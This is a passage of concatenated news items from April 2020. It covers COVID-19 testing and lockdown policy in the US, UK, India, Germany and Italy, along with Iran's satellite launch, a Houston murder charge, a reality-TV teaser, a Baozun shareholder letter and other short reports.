promoted on the basis of performance in internal exams as it's not feasible now to conduct board exams which are pending due to the lockdown. Click here for Coronavirus Outbreak LIVE Updates "Not feasible now to conduct pending board exams for classes 10 and 12. Students should be promoted on the basis of performance in internal exams like it was done for classes 9 and 11," Sisodia said. He also recommended a 30 percent reduction in curriculum for the next session and while stating that "exams like JEE, NEET be conducted on the basis of reduced syllabus". Universities and schools across the country have been closed since 16 March when the Centre announced a countrywide classroom shutdown as one of the measures to contain the COVID-19 outbreak. Later, a nationwide lockdown was announced on 24 March, which has now been extended till 3 May. While Punjab and Karnataka have already announced summer vacations due to the COVID-19 outbreak, other states are working on academic calendar and deliberating on various measures, including advancing the summer break, to minimise academic losses. The United States has conducted over 5 million coronavirus tests, and there are plans for doubling this effort by the end of May. However, President Donald Trump says that this is because American healthcare officials are accurate when it comes to reporting U.S. cases, citing China as an example of underreported cases. In the press conference this Tuesday, President Trump acknowledged that the federal government has built more than 11,000 extra beds, shipped or delivered hundreds of millions of personal protective equipment, and distributed over 10,000 ventilators with more being produced to provide to allied countries. Massive Volumes of Tests In comparison to the 10,000 tests per day in the month prior, the coordination and collaboration of the commercial laboratories have made it possible to do over 50,000 tests a day. "We are currently operating 45 percent of the current test sites and 25 locations across eight states," Rite Aid CEO Heyward Donigan said. That number is roughly 15,000 tests a day. Quest Diagnostics CEO Steve Rusckowski said that by the end of May, they planned to go up to "250,000 tests per day so that by the end of next month, the U.S. will have 10 million tests done." Similarly, other companies have aimed to double, or even triple, this effort by May. Currently, there were 200,000 Walgreen employees in stores taking care of patients and customers by providing them services like COVID-19 testing and medication prescriptions. "We're planning to expand triple the amount [of tests] by the end of the month," Richard Ashworth, President of Walgreens, said. John Nims, CEO of U.S. Cotton, said that their Cleveland operation would involve moving from the Q-tip swab to a polyester tip so that it can be assembled into the testing kits. This was further supported by Admiral Brett Giroir, Assistant Secretary of Health and Human Services. He announced that U.S. Cotton would start delivery of 3 million swabs per week for test kits. "We saw the production of lots of test kits going into the marketplace. The old system would never be able to process the tests at the massive volume we need in the midst of an epidemic," Vice President Mike Pence said. He commended Trump for sitting down with commercial laboratory companies. "We need you to turn all of your energy loose for the kind of high-speed testing that would be necessary for us to reach the numbers we did today." Check these out! Opening Up America Again There was also the issue of vulnerable populations having difficulties acquiring services from healthcare centers. CEO of CVS Larry Merlo recognized that the virus was "disproportionately affecting our minority communities, so we're working with organizations like the National Medical Associations to bring testing and care to the traditionally underserved communities." Their operation runs a thousand pharmacies across five states. Merlo said that CVS drive-thrus and parking lots would be utilized for swab testing. "There have been so many unnecessary deaths in this country," Trump said. Referring to the Chinese government's lack of initiative, he went on, "It could've been stopped, and it could've been stopped short, but somebody a long time ago, it seems, decided not to do it that way, and the whole world is suffering because of it." He added that the federal authorities were looking into the source of the coronavirus in China. "We're doing severe investigations, and we're not happy with China. We believe it could've been stopped at the source we believe it could've been stopped quickly." He continued by saying that for some time, his administration has encouraged governors in their respective states to leverage unused capacity, and the end result has been a surge in testing. This Saturday alone, nearly 200,000 tests were reported. "Testing will not be a problem," Trump assured. He emphasized that all efforts must be pooled into mitigating the spread of the pandemic so that establishments in the country can reopen as soon as possible. "We're reporting very accurately," Trump said. "If you look at China, you can look at numerous countries where I don't think there are the right numbers." They may be travelling on board a luxurious yacht off the coast of Mallorca. But not everything is going swimmingly on season five of Below Deck Mediterranean. A new teaser for the upcoming installment promises no shortage of drama on board the Wellington, the newest yacht the crew will be handling. Making a splash! Captain Sandy is back for season five of Below Deck Mediterranean Captain Sandy, Hannah Ferrier, and Malia White are all back - as are several newcomers, ready to stir the pot. Sandy isn't afraid to tell it like it is, especially to chief stew Hannah. 'I could have fired you a long time ago, Hannah,' Sandy coldly tells her. 'I could've fired you last year, the year before.' Sandy is also seen firmly confronting one unidentified individual with a pretty serious allegation. Ouch: Hannah gets a cold message from Captain Sandy about her job status Serious accusation: 'It's been brought to my attention that you have drugs on board,' Sandy says sternly to one unidentified individual 'It's been brought to my attention that you have drugs on board,' she says sternly. Being on board seems to have pushed many of the crew members to the breaking point. Chef Kiko faces one of the biggest challenges yet when he is tasked with cooking up a six course meal for 12 guests. 'I'm f**ked,' is all he is able to say with a laugh. Kitchen nightmare! Chef Kiko faces one of the biggest challenges yet when he is tasked with cooking up a six course meal for 12 guests 'Don't touch me': Tensions reach an unbearable level between Hannah and new crew member Lara Flumiani Calling her out: 'The more you piss me off, the less I will do... Get your s**t together and be nice,' Lara tells Hannah Tensions reach an unbearable level between Hannah and new crew member Lara Flumiani. Right at the start of the trailer, Hannah is seen angrily getting into Lara's face. 'Don't touch me,' an irate Hannah tells Lara. Now she's mad: 'Stop talking, I'm mad now,' Sandy tells Lara 'I hope that history does not repeat itself': Hannah (R), meanwhile, seems cautiously optimistic she will have a better working relationship with Malia (L) The drama even seems to capture the attention of Captain Sandy. 'The more you piss me off, the less I will do... Get your s**t together and be nice,' Lara tells Hannah. 'Stop talking, I'm mad now,' Sandy tells Lara. Hannah, meanwhile, seems cautiously optimistic she will have a better working relationship with Malia. Letting loose! This season the crew are travelling off the coast of the Spanish island of Mallorca Party time: With all the pressure on board, it's no wonder the crew need to let loose now and then, with many of them seen blowing off steam at the club, over drinks, or with a romantic liaison He seems nice! Stewardess Jessica More finds love with one man who cares more than just the physical The girls definitely seem to be getting along while dancing together at a club, where Malia says, 'I don't think it needs to be how it was.' 'I hope that history does not repeat itself,' Hannah tells the camera later with a rather pessimistic tone. With all the pressure on board, it's no wonder the crew need to let loose now and then, with many of them seen blowing off steam at the club, over drinks, or with a romantic liaison. More than appearances: 'It's nice to have a guy who isn't staring at my t*ts, and is trying to get in my mind,' she remarks Stewardess Jessica More finds love with one man who cares more than just the physical. 'It's nice to have a guy who isn't staring at my t*ts, and is trying to get in my mind,' she remarks bluntly. Season five of Below Deck Mediterranean will premiere on Bravo this summer. On Tuesday, we'll have results from the Ohio primary and a special election in Maryland's 7th congressional district. Ohio results are expected after 7:30 PM Eastern Time, while those in Maryland should arrive after 8:00 PM. Ohio Ballots had to be postmarked by yesterday, but can still be dropped off today in drop boxes. Any ballots with a timely postmark received by May 8 will be counted, so it is possible that close races may not be called tonight. President: The state postponed its primary on the eve of the scheduled March 17 date, ultimately turning it into an all-mail election, with few exceptions. While Joe Biden is expected to win most of the state's 136 pledged delegates, Bernie Sanders - and many other withdrawn candidates - remain on the ballot. Heading into today, Biden has 1,305 of the 1,991 delegates needed to win the nomination. On the GOP side, Donald Trump is unopposed. He has already clinched renomination. Congress: This is not a state with many closely-contested U.S. House races. In 2018, all but two of the seats had margins of 10 points or more. Only the GOP-held Cincinnati-area 1st District is expected to be highly competitive in November. We'll be watching to see who will emerge as the Democratic nominee in that district. In the safely Democratic 3rd district, Rep. Joyce Beatty is being challenged from the left by activist Morgan Harper. More Ohio Results >> Maryland The state's 7th congressional district has been vacant since the death of long-time Rep. Elijah Cummings last October. A largely mail-in election will decide who will complete his term. Limited in-person polling places are available; these close at 8:00 PM. Kweisi Mfume emerged as the nominee from a crowded Democratic primary field and is expected to prevail in this deep blue district. Note that today was originally to be the primary for all of Maryland; that has been postponed until June 2. Voters in the 7th district will be asked to weigh in again on the congressional seat that day, choosing nominees for the regular two-year term that will be contested on Election Day, November 3. British Prime Minister Boris Johnson has promised to "fire up the engines" of the UK economy with a plan for "refining" the coronavirus lockdown which he will reveal by the end of this week. The prime minister said his decisions on lifting restrictions would be taken with "the maximum possible transparency", adding that he would "share all our working and our thinking, my thinking, with you, the British people". He will hold a series of meetings with key ministers this week to finalise details of how different sectors, including businesses and schools, could start easing their way back without risking a second wave of the virus. Government scientific advisers will then brief Mr Johnson on the risk involved in lifting each measure, before he and his ministers make the "difficult choice" of which restrictions to ease and which to keep in place. Professor Chris Whitty, the chief medical officer, said yesterday that sending children back to school this term would be one of the options to be risk-assessed by scientists, as he hinted that younger children might be less prone to infection than older ones. As the number of new hospital deaths from the virus fell to 360, the lowest since March 30, Matt Hancock, the health secretary, disclosed that hospitals now had so much spare capacity that elective surgery and some cancer treatments would be restarted. There were more signs yesterday that lockdown adherence was fraying, as increasing numbers of people took to the roads to go back to work while more retailers reopened. It came after police chiefs warned they could no longer enforce the lockdown rules because it made "no sense" to ask people to move on from beaches or parks while allowing people to queue by the dozen at DIY stores. Business leaders also begged the government for clarity over what is going to happen so they can plan ahead. On his first full day back at work since recovering from Covid-19, Mr Johnson made a surprise address to the nation outside No 10 where he said the country was "making progress" thanks to the "grit and guts" of the population during the trials of lockdown. He said there were "real signs now that we are passing through the peak" and "beginning to turn the tide", adding that if the virus were a mugger, "then this is the moment when we have begun together to wrestle it to the floor". In a direct address "to British business, to the shopkeepers, to the entrepreneurs, to the hospitality sector, to everyone on whom our economy depends", he said: "I understand your impatience... I want to get this economy moving as fast as I can." Mr Johnson said Britain was "coming now to the end of the first phase of this conflict" and that in the coming second phase he would "begin gradually to refine the economic and social restrictions and, one by one, to fire up the engines of this vast UK economy." Meanwhile, Germany's economy minister urged its 16 federal states yesterday to go slowly in lifting coronavirus restrictions to avoid the outbreak spreading further and possibly force them to reintroduce another round of lockdown measures. Chancellor Angela Merkel is resisting pressure from business groups to ease restrictions more rapidly. Germany has had around 155,000 diagnosed cases of coronavirus, according to official figures, but only 5,750 deaths, a far lower proportion of fatalities than Italy, Spain, France and Britain. "As a person who believes in fact-based decisions, I recommend to all of us to proceed very carefully in order not to be forced into eventually rescinding easing measures," economy minister Peter Altmaier, one of Merkel's closest allies, said. Italy, meanwhile, has registered its lowest day-to-day number of new Covid-19 cases since practically the first day of lockdown. According to data from the Italian health ministry, 1,739 cases new cases were confirmed in the 24-hour period ending yesterday evening. The previous time the nation saw such a low daily number occurred on March 10, when 77 new cases were registered. Italy now has 199,414 known cases. It registered 333 deaths since Sunday evening, raising to 26,977 the number of known deaths in the country, which has Europe's highest death toll. More than 2.9 million people have now been infected across the world by the coronavirus, with the death toll passing 206,000. ( Daily Telegraph, London) Tehran defiant after very sophisticated deployment of its Nour military satellite amid US and Israeli admonitions. Irans Islamic Revolutionary Guard Corps (IRGC) surprised the world last week with a successful launch of its first military satellite dubbed Nour (light) into the Earths orbit. The satellite was on board a previously unknown launch vehicle named Qased, or messenger, and was deployed from a military base in Semnan province, east of the capital, Tehran. The launch carried out on the 41st anniversary of IRGCs establishment brought an end to a string of previous failures in developing Irans aerospace programme. Tehran has not released much information about the initiative, but Major-General Hossein Salami, the IRGCs chief, described it as a multi-purpose satellite that expands the Revolutionary Guards strategic intelligence. Reactions to the satellite launch came quick. US Secretary of State Mike Pompeo said Tehran should be held accountable while citing UN Security Council Resolution 2231. Every nation has an obligation to go to the United Nations and evaluate whether this missile launch was consistent with that Security Council resolution, he told journalists. The launch also raised alarm in Tel Aviv. Israel strongly condemns the launch of a military satellite by the Revolutionary Guard, a terrorist organisation recognised as such by the United States, the foreign ministry said in a statement, calling for new sanctions against Tehran. Germany, France and the UK also expressed concern. Russia announced the deployment did not violate any UN resolutions. Iran also rejected Pompeos accusation saying Resolution 2231 does not ban it from launching satellites. Foreign Minister Mohammad Javad Zarif slammed the US and Europe for misreading the resolution and reiterated Tehrans missiles are not designed to carry nuclear weapons. US has been bullying all against UNSC Resolution 2231 since 2017. Europe obeyed US instead of 2231. Neither can lecture Iran based on flimsy misreadings of UNSCR 2231. Iran neither has nukes nor missiles DESIGNED to be capable of carrying such horrific arms. Guess who do? pic.twitter.com/7uG9yOXAu3 Javad Zarif (@JZarif) April 24, 2020 Failed maximum pressure? Irans successful satellite launch came amid the coronavirus crisis and as its economy is faced with a major downturn resulting from crippling US sanctions imposed under Washingtons maximum pressure policy. The latest of these embargoes was imposed last September with the US claiming Iran uses its civilian space agencies to advance its ballistic missile programme. All parts of the satellite, including the carrier and satellite, have been produced by the Iranian scientists despite the US sanctions, IRGCs leader Salami was quoted as saying. The message of this important achievement is that sanctions are not an obstacle on the way of Irans progress and will further motivate the country to turn into a big power in the region. According to Seyed Hossein Mousavian, an Iranian former nuclear negotiator, the recent satellite launch shows that despite all the sanctions and pressure, Irans missile capabilities have grown and it has almost reached the point of no-return. Mousavian, the Middle East security and nuclear policy specialist at Princeton University, told Al Jazeera that Tehrans missile capability is the biggest concern for US and Israel in case of a military attack against Iran. Very sophisticated Fabian Hinz is an associate researcher at the James Martin Center for Nonproliferation Studies at the Middlebury Institute of International Studies in Monterey, California who follows Irans space programme. The newly developed solid propellant motor that was used is very sophisticated and uses some technologies that are crucial to developing long-range missiles, Hinz told Al Jazeera. Iranian missile and rocket technology have advanced to an incredible degree in the last two decades. The amount of technological achievements they have made is quite astonishing. However, they have restrained themselves to a 2,000km (1,240 mile) range, he added. While major Western countries led by the United States accused Iran of using its space programme as a cover for its long-range ballistic missiles, analysts such as Michael Elleman, director of the non-proliferation and nuclear policy programme at the International Institute for Strategic Studies in Washington have rejected the allegation, saying Irans satellite launch does not amount to an intercontinental ballistic missile (ICBM) test. Hinz holds a similar view. The Qaseds performance is not sufficient to convert the rocket into an intercontinental ballistic missile. However, on a smaller scale, the rockets second stage for the first time displays many core technologies needed for modern long-range missile development. Mousavian, the Iranian former nuclear negotiator, said the chance of a UN Security Council resolution against Iran was low. Washington will try to bring the case to the UNSC, but it is very unlikely that Moscow and Beijing agree to a UN Security Council resolution against Iran, he said. Irans Revolutionary Guard says the satellite in orbit will provide crucial intelligence [WANA/Sepah News via Reuters] Technological advancement Unlike previous launches, last weeks deployment was conducted without prior announcement and without being detected by foreign intelligence services. This [satellite] launch sends this message that the IRGC was able to keep the secrecy of the programme until after its successful launch. With this achievement, Iran has basically raised the geopolitical equations to a new level, according to a security and political analyst in Tehran, who spoke to Al Jazeera on the condition of anonymity. While Western officials and media are trying to emphasise the military aspect of this satellite, it is good to point out the space technology is built on basic sciences such as mathematics, physics and chemistry. Considering its multi-disciplinary applications, this achievement could well advance other civil industries such as agriculture, automotive and telecommunications, among others, he added. Ali Jafarabadi, commander of IRGCs space command, said on state media the satellite launch was part of a mega-project, adding larger satellites will be deployed at higher orbits. He predicted Iran will launch the Nour2 satellite in the near future. According to Hinz: Iran has nothing to lose anymore as it has seen that it will be subject to sanctions no matter if it limits its missile programme or not. They want to signal that with their technological capabilities they can do much more than what they have currently limited themselves to. But just like their nuclear programme, they will do this in a gradual fashion to maximise political leverage, he added. A Houston man was charged with killing two of three people found shot to death after an apparent robbery inside a southeast Houston apartment Friday. Tyler Pringle, 23, was charged with capital murder of multiple people, accused in court documents of shooting and killing Sylvernia Edwards and Kevin Kelly. A second suspect believed to have perpetrated the robbery alongside Pringle has yet to be identified, according to Houston police. MORE FROM JAY R. JORDAN: Tomball boys death inside a hot car is first in the country for 2020 The identity of the third victim has not yet been released. Pringle was only charged in Edwards and Kellys deaths, according to court records. Pringle was out on a $15,000 bond for a strangulation charge when he was arrested Saturday. He was accused of beating his ex-girlfriend, allegedly kicking her in the head and choking her while she was waiting for her car at a mechanic shop in June 2019, according to court records. On Friday, two men and one woman were found shot to death in the 4700 block of Ward Street, near Cullen and Yellowstone boulevards, shortly after 1 a.m. A fourth gunshot victim, a man, was listed in critical condition at a nearby hospital that morning, according to Houston Police Commander Ron Borza. Borza said detectives received reports that two men were invited into the apartment shortly before the killings. Officers discovered drug paraphernalia inside the apartment, Borza said. He speculated that the killings might have been part of a robbery over narcotics. Anyone with information is urged to call Houston Crime Stoppers at 713-222-TIPS (8477). Jay R. Jordan covers breaking news in the Houston area. Read him on our breaking news site, Chron.com, and our subscriber site, HoustonChronicle.com | Follow him on Twitter at @JayRJordan | Email him at jay.jordan@chron.com The Internal Revenue Service called roughly 10,000 employees back to work this week, but it is requiring that they provide their own facial masks to protect themselves from the coronavirus pandemic. The state of play: Democrats on the House Ways and Means Committee have blasted the plan, issuing a statement saying it's "completely irresponsible and unethical for the IRS to demand those workers obtain their own protective equipment." A memo notes that employees who do not provide their own equipment may be forced to return home. The agency has offered incentive pay to employees who volunteer to return to the agency first. The memo says that workers will be directly ordered to return if they do not volunteer first. Why it matters: The IRS is currently at the height of its demand season, facing both annual tax returns and the disbursements of the federal government's coronavirus stimulus checks. Peter Gavran, who hails from Croatia, got more than he paid for after he bought a second-hand chest of drawers to furnish his new apartment - He discovered about KSh 2.9 million in the drawers and decided to return it to the rightful owners - The family which sold him the furniture was not even aware of the cash A man has been hailed for his honesty after he returned over KSh 2.9 million to a family which was not even aware the money existed. Peter Gavran, who hails from Croatia, wanted to find a cupboard for his new apartment in Germany. READ ALSO: 101-year-old grandma who beat Spanish flu, cancer also defeats COVID-19 READ ALSO: Michelle Obama reportedly earned KSh 3.8 billion from her book Becoming He purchased a second-hand one online and together with a friend, visited the sellers house in the Werden area in the city of Essen to fetch the cupboard. He was quoted by News24 saying: When a friend and I came for the furniture, we didn't notice anything strange. Even the man we bought the furniture from helped us carry it to the car because it's massive." However, when they carried the piece of furniture up the stairs, Peter heard something rolling around inside. Upon inspection, he found family albums and KSh 2.9 million stuffed in several envelopes. At first, he did not know what to do but he ended up phoning the family who had sold him the cupboard. They asked him to return the albums and he discovered they were not aware of the money inside the drawers. READ ALSO: Vera Sidika hosts lavish barbecue party at her Runda estate alongside comedian Eric Omondi READ ALSO: Future SA: Mzansi's cute kids thank Ramaphosa in stunning video The chest belonged to a deceased family member and they had no idea there was such an amount of cash lying around the house. However, Peter could not be dishonest and he gave them the money back. He said he would not have been able to spend it and it would not bring him happiness. The family gave him an undisclosed award. Peter's brother, Antonio Gavran, took to Facebook to gush about his honesty. Antonio wrote: "Proud of brother Petar Gavran. He bought a cabinet online from an apartment that was empty and found several tens of thousands of euros in it. A few hours of search and the owner was found who wasn't even aware that the money was left. Her joy for finding the cash and for him a memory for life and pleasure by the fact that he did a good deed. It's good to do good." Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly. Keroche CEO Tabitha Karanja makes a bold proposal to treasury CS Ukur Yattani | Tuko TV Source: TUKO.co.ke Easton Hospital, which was on the verge of closing last month amid ongoing financial struggles, will remain open until at least June 30, according to the Pennsylvania Department of Health. Steward Health Care, the hospitals for-profit owner, threatened to close the facility immediately on March 27 amid the growing coronavirus pandemic without a $40 million bailout from the state. The money was meant to keep the financially struggling Wilson Borough facility open until June 30. Hours from closure, an agreement with Gov. Tom Wolfs administration provided the hospital with $8 million, largely from federal stimulus dollars earmarked for struggling hospitals, to stay open through at least April. Health department spokesman Nate Wardle confirmed Monday that state health officials have been told the hospital will remain open through at least June 30. The Dallas, Texas-based company was in the midst of negotiating a sale with St. Lukes University Health Network when the COVID-19 pandemic began rapidly spreading in the United States, straining the health care system. To prepare for a surge of coronavirus patients, health care systems nationwide canceled the lucrative elective surgeries they rely on to stay profitable and began furloughing staff. The health crisis pushed Easton Hospitals finances to the brink of closure, Steward Health Care said in March. Operating as a for-profit entity -- first under Community Health Systems and under Steward Health Care since 2017 --the hospital has had to shed services to survive. In a competitive arena dominated by St. Lukes University and Lehigh Valley health networks, it began shrinking as the competitors grew. In recent years, Easton Hospital ended or farmed out a growing number of services -- neonatal ICU, OB-GYN, the maternity ward, cardiac surgeries. The hospital lost $5 million in just February after ending elective surgeries earlier this year to conserve resources for COVID-19 patients, Steward officials said. The hospital property itself is owned by Medical Properties Trust and leased to Steward. The hospital has served the Easton community since 1890. Steward Health Care notified the Pennsylvania Department of Health in January the hospital would either be sold to St. Lukes University Health Network by April 21 or close on or before that date, resulting in the loss of 700 jobs -- as well as a community resource. Tell us your coronavirus stories, whether its a news tip, a topic you want us to cover, or a personal story you want to share. Our journalism needs your support. Please subscribe today to lehighvalleylive.com. Sara K. Satullo may be reached at ssatullo@lehighvalleylive.com. Directors Joe and Anthony Russo, and writers Christopher Markus and Stephen McFeely took part in an Avengers: Endgame watch party organised by ComicBook.com on Monday. The creative team behind the biggest film of all time revealed interesting anecdotes, shared unseen footage, and much more. From sharing behind-the-scenes videos of Brie Larsons first day on set (as Captain Marvel), to a video of Chris Evans goofing off in old-age makeup, the Avengers team kept fans hooked during the watch party. Here are five key takeaways from the event: Who did Hulk see in the Soul World? In the film, both Tony Stark and Bruce Banner use the Soul Stone. While it was revealed in a deleted scene that Tony saw an older version of his daughter, Christopher Markus revealed that it wasnt the Hulk who was transported into the Soul World, but Bruce Banner. We did write one, a conversation between Hulk and Banner, but it didnt make it to camera. Ruffalo showed up but Hulk wouldnt come out of his trailer, Markus joked. Youll never see Black Widows cooking skills The writers revealed that among the many deleted scenes, there was one in which Black Widow made a peanut butter sandwich. There is extensive footage of Scarlett Johansson making that peanut butter sandwich. Cant believe it was cut. #Realeasethepeanutbuttersandwichcut, Markus wrote on Twitter. Also read: Marvel fans totally missed this Avengers Endgame Easter egg that has emotional connection to Tony Stark Not Sam, Bucky could have become Captain America At the end of Endgame, an old Steve Rogers returns from a life well lived to pass on the mantle of Captain America. Both Bucky Barnes (Winter Soldier) and Sam Wilson (Falcon) are with him, implying that either of them could be chosen. Steve hands his shield to Sam, and Bucky nods in approval. The writers revealed that making Bucky Captain America was considered, but not for long. Considered, but quickly dropped. Captain America is about the idealism, what we could be if we were better. Sam is that. Bucky is something else entirely. Heres when Captain America became worthy One of the biggest crowd-pleasing moments of the film was when Captain America lifts Thors hammer, Mjolnir, which can only be brandished by those who are worthy. Asked why he could only move the hammer slightly in Avengers: Age of Ultron and not even attempt to lift it in Captain America: Civil War, the writers said, Id say hes not completely worthy yet. He still has the secret of Tonys parents death to resolve. Watch Chris Evans and Robert Downey Jr say goodbye on their last day on set The Russos shared footage of actors Robert Downey Jr and Chris Evans on their last days on set, emotionally bidding the cast and crew goodbye. Downeys last day on set after shooting the "I am Iron Man" moment. The very definition of a legend. We love this man 3000. @RobertDowneyJr #AvengersAssemble pic.twitter.com/wIiQ5AwsDJ Russo Brothers (@Russo_Brothers) April 28, 2020 This is from @ChrisEvanss last day of playing Captain America, ever. Much love and respect to you sir. What an amazing run. #AvengersAssemble pic.twitter.com/LreTlM2JrZ Russo Brothers (@Russo_Brothers) April 28, 2020 Follow @htshowbiz for more [April 28, 2020] Baozun Releases 2019 Chairman Letter SHANGHAI, China, April 28, 2020 (GLOBE NEWSWIRE) -- Dear Shareholders: While 2019 was a year marked by profound geopolitical trade headwinds and economic changes, I am inspired by the tremendous hard work and dedication shown by all our employees who remain committed to empowering our brand partners business growth and enriching their e-commerce strategies in China. We achieved a number of milestones in 2019. We generated RMB7.3 billion in total net revenue, reflecting a standout year-over-year growth rate of 35%, the fastest we have posted over the past four years. In addition, we saw record high increases in GMV, a record net addition of new brands, a new high for incremental GMV from stores opened less than 12 months, and first-ever positive free cash flow for the year. We believe our progress in 2019 should set a solid foundation for future growth. Despite a turbulent economic environment and challenging market conditions in 2019, Chinas online retail sector remained buoyant. According to the National Bureau of Statistics of China, online retail sales increased by 16.5% YoY to RMB 10.6 trillion, which was 20.7% of total retail sales in China. In terms of movement of products, according to data from the China Post Bureau, total express parcels surpassed 60 billion in 2019, accounting for more than half of the worlds total parcels, and average annual parcels per person totaled 42, demonstrating how influential and essential e-commerce has become in shaping consumer habits in China. As the leading brand e-commerce service partner, we are honored to be the go-to company for brand partners seeking to refine their digital and O2O strategies in order to capture the growing opportunities in China. Strengthening Competitiveness in 2019 Our mission has always been to develop and innovate in order to best facilitate our brand partners digital strategies through technology empowerment. As e-commerce evolves, and consumers demand higher quality and differentiated shopping experiences, we are tailoring our solutions to be more engaging, appealing and interactive. In 2019, we launched several modules and solutions through our Retail Operation Support System (ROSS) that accelerate our automation pipeline for efficient store operations. We upgraded our IT infrastructure to a hybrid cloud model, which we call Baozun Cloud. We are now in the advanced stages of integrating and migrating all of our core e-commerce systems and applications to Baozun Cloud, which will help us better utilize cloud computing, enhance the scalability of our business, and improve cost efficiency. We closed 2019 with an expanded overall directly-operated warehouse capacity of over 500,000 square meters and enhanced infrastructure for premium sectors. In addition, we refined additional value-added services to enrich our wrehouse and logistics offerings, such as B2B fulfillment, O2O integrated inventory and product return management, and large-scale expedited delivery. Leveraging our artificial intelligence and big-data technologies, we continue to finetune our technology-driven digital marketing and industry insights services to improve ROI of marketing resources, as well as enhance user engagement and interaction. We also closely follow industry trends and are enhancing our initiatives in live-streaming and integrated marketing activities. In 2019, we were certified by Alibaba Group as one of the first group of Multi-Channel Network entities to engage with for interactive marketing activities. Enhancement of our infrastructure, and capacity released through efficiency improvements driven by digitalization and automation, have enabled us to accelerate customer acquisition to drive growth sustainability. For 2019, we added a net 46 new brand partners, including brands in many exciting subsectors, such as luxury and fast-moving consumer goods. We believe that the addition of new brand partners will contribute to growth, and our optimized brand portfolio that covers a variety of categories will give us more flexibility to pursue a high-quality growth strategy. Looking ahead to 2020 Our strategy for prioritizing high-quality growth remains unchanged in 2020. As we begin the new year, our focus will be strategic margin expansion, where we will continue to optimize our brand portfolio and drive operational efficiency through digitalization and productization in a disciplined, focused and streamlined manner. We are on track with our strategy over the past few years to empower a revolution in e-commerce through innovative technologies. While progress never follows a straight line, we are confident in the digitalization blueprint we have put together. Our focus on innovation and productization for 2020 will be squarely on driving the seamless integration, digitalization and enhancing the intelligence of our services, which we believe will drive improvements in internal operational efficiency and business process management. The recent outbreak of Covid-19 is casting a long-lasting shadow over the global economy, and notably online retail. In the near term, the wider industry will be challenged by the pandemic, which is unpredictable both in its scope and duration. While the pandemic is of overwhelming humanitarian significance, it has also been a watershed moment for our business, convincing many of our brand partners of the value and importance of developing a greater online profile. We believe that both digitization and innovation will continue to underpin growth in the retail industry. Our suite of technological innovations has positioned us to firmly remain Chinas leading brand e-commerce service partner. We believe we are well positioned to further penetrate this market and provide best-in-class service to our brand partners. The health and safety of our employees, their families, our partners, and communities remain a top priority. For our employees, we want to offer our heartfelt thanks for their tireless work during the recent outbreak. We ask all of them, and all of our stakeholders and shareholders, to remain safe and healthy as the year unfolds. Sincerely, Vincent Wenbin Qiu Chairman and Chief Executive Officer Baozun Inc. Safe Harbor Statements This news release contains forward-looking statements within the meaning of Section 21E of the Securities Exchange Act of 1934, as amended, and as defined in the U.S. Private Securities Litigation Reform Act of 1995. These forward-looking statements can be identified by terminology such as "will," "expects," "anticipates," "future," "intends," "plans," "believes," "estimates," "target," "going forward," "outlook" and similar statements. Such statements are based upon management's current expectations and current market and operating conditions, and relate to events that involve known or unknown risks, uncertainties and other factors, such as the Companys expected growth of the online retail industry in China, the Companys expectations regarding demand for and market acceptance of its products and services, the impact on the Companys businesses as a result of the COVID-19 pandemic, the Companys expectations regarding its relationships with its brand partners and e-commerce channels, and the level of consumer economic activity in China, all of which are difficult to predict and many of which are beyond the Company's control, which may cause the Company's actual results, performance or achievements to differ materially from those in the forward-looking statements. Further information regarding these and other risks, uncertainties or factors is included in the Company's filings with the U.S. Securities and Exchange Commission. The Company does not undertake any obligation to update any forward-looking statement as a result of new information, future events or otherwise, except as required under applicable law. About Baozun Inc. Baozun is the leading brand e-commerce service partner that helps brands execute their e-commerce strategies in China by selling their goods directly to customers online or by providing services to assist with their e-commerce operations. The Company's integrated end-to-end brand e-commerce capabilities encompass all aspects of the e-commerce value chain, covering IT solutions, store operations, digital marketing, customer services, warehousing and fulfillment. For more information, please visit http://ir.baozun.com For investor and media inquiries, please contact: Baozun Inc. Ms. Wendy Sun Email: [email protected] Christensen In China Mr. Christian Arnell Phone: +86-10-5900-1548 E-mail: [email protected] [ Back To TMCnet.com's Homepage ] US President Donald Trump said he has a "very good idea" about the status of Kim Jong Un but he can't talk about it now, amid rumours about the ill health of the North Korean leader. I can't tell you exactly - yes, I do have a very good idea but I can't talk about it now. I just wish him well, Trump told reporters at a White House news conference Monday. There have been unconfirmed reports that Kim is not in good health. The rumours began after he missed the April 15 commemoration of the 108th birthday of his grandfather, North Korea founder Kim Il Sung. North Korea has not dispelled the rumours of ill health of its ruler. I have had a very good relationship with Kim Jong Un. If I weren't president you would be... You would have been in war with Korea. You would have been in war with North Korea if I wasn't president that I can tell you. He expected that. That I can tell you, he said. I hope he's fine. I do know how he's doing relatively speaking. We will see You will probably be hearing in the not-too-distant future, Trump, who met Kim at least twice to persuade him to give up his nuclear weapons, said. Reports cited satellite images to say that a train likely belonging to Kim has been parked at his compound on the country's east coast for a week. The chairperson of the Land Development Agency, John Moran, has called for a bailout for SMEs to prevent an economic zombie apocalypse. Mr Moran, who is a former secretary general of the Department of Finance and a former board member of the European Investment Bank, told Newstalk Breakfast that SMEs employ one million people and thats why they need to be bailed out. Having access to funds through borrowing that will have to be paid back will not fix the problem he said. The issue is liquidity with 6billion needed by the sector to make payments such as rent, insurance and to replace stock. The bail out will just have to be written off, added Mr Moran. The government can borrow from Europe and pay it back over 20 years. Give them (the SMEs) that money, its like if a house got burned down you would get insurance. New technology could be used to determine the resilience fund for small businesses, he said. Losses could be calculated and the Revenue Commissioners would decide who genuinely needs it. It will take a little time. Give people the liquidity that they need to pay bills suppliers will get paid. Revenue can determine who to give the money to the right amount for the right businesses. Mr Moran said that there were some businesses that shouldnt survive. He acknowledged that this is a radical plan, but he warned that if the government does not do it then businesses are going to struggle on. Quest Diagnostics announced Tuesday that individuals can now skip a doctor's visit and order a coronavirus antibody test online in a push to broaden Covid-19 screening. An antibody test shows whether someone has been exposed to or potentially had the coronavirus and developed the antibodies to fight the infection. It doesn't guarantee immunity, but physicians say a positive antibody test indicates that a patient may have some level of protection against reinfection. The test costs $119, according to Quest's website. Quest screens patients online to determine whether or not an antibody test is appropriate and then sends them to have their blood drawn at one of the company's 2,200 laboratories, Quest said in a statement. The results are available within one to two days after a blood sample is taken, the company said. Quest said the antibody tests can be helpful for those who were never diagnosed with Covid-19 and believe they've previously been exposed to the virus, or to test people who did have Covid-19 to determine whether their body produced antibodies to fight against the disease. World health officials warn, however, that scientists still don't know whether coronavirus antibodies give a person immunity or reduce the risk of reinfection. India will participate in a key meeting of the 